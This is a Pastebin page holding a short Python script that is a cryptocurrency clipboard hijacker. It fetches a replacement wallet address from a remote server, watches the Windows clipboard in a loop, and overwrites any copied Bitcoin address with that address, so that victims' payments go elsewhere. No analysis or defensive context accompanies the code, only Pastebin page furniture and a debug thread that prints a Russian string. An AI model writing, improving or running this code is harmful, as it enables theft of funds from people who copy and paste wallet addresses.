Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os, re, sys, time, requests, shutil, threading, win32clipboard
- response = requests.get('http://myaura.cf/json/data?key=vrLd1t8ckPYb', headers = {'User-Agent': 'Magic Browser'}).json()
- def transfer():
- while True:
- win32clipboard.OpenClipboard()
- if win32clipboard.EnumClipboardFormats(win32clipboard.CF_UNICODETEXT) != 0:
- clip_data = win32clipboard.GetClipboardData(win32clipboard.CF_UNICODETEXT)
- key = re.search('^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$',clip_data)
- if (key):
- win32clipboard.SetClipboardText(response['transfer'][0]['key'], win32clipboard.CF_UNICODETEXT)
- win32clipboard.CloseClipboard()
- time.sleep(0.25)
- transfer()
- def potok2():
- while True:
- print("поток 2")
- time.sleep(0.25)
- potok2()
- transfer = threading.Thread(target=transfer)
- transfer.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement